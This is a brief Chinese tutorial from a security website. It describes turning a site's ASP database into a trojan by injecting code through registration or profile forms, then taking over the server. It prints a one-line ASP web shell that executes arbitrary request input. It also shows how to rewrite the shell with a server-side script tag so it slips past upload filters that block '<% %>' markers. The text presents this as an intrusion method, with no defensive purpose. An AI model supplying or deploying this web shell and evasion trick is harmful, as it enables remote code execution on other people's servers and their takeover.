很多時候，我們可以通過在注冊表單或者用戶信息修改表單中，插入簡短的ASP代碼，使網(wǎng)站ASP數(shù)據(jù)庫變成為一個ASP木馬，然后進一步入侵控制服務器。
不過，在上傳代碼過程中，許多網(wǎng)頁程序都不允許包含〈%%〉標記符號的內容的文件上傳。
這樣就有好多SHELL不能上傳上去了。可以采用下面的方法解決。以藍屏最小ASP木馬為例。
首先：原程序代碼是：
〈%execute request("l")%〉 |
我們可以把它的標簽換下來。
然后改成：
〈scriptlanguage=VBScript runat=server〉execute request("l")〈/Script〉 |
這樣就避開了使用〈%%〉，保存為.ASP，程序同樣執(zhí)行。
熱詞搜索：
上一篇：服務器安全技巧：分級防御對Linux服務器的攻擊
下一篇：服務器防火墻安裝終極攻略(1)
收藏
Copyright © 2009-2022 網(wǎng)絡安全和運維網(wǎng) All rights reserved. 京ICP備10047140號 京公安網(wǎng)備11010802014307
掃碼關注微信
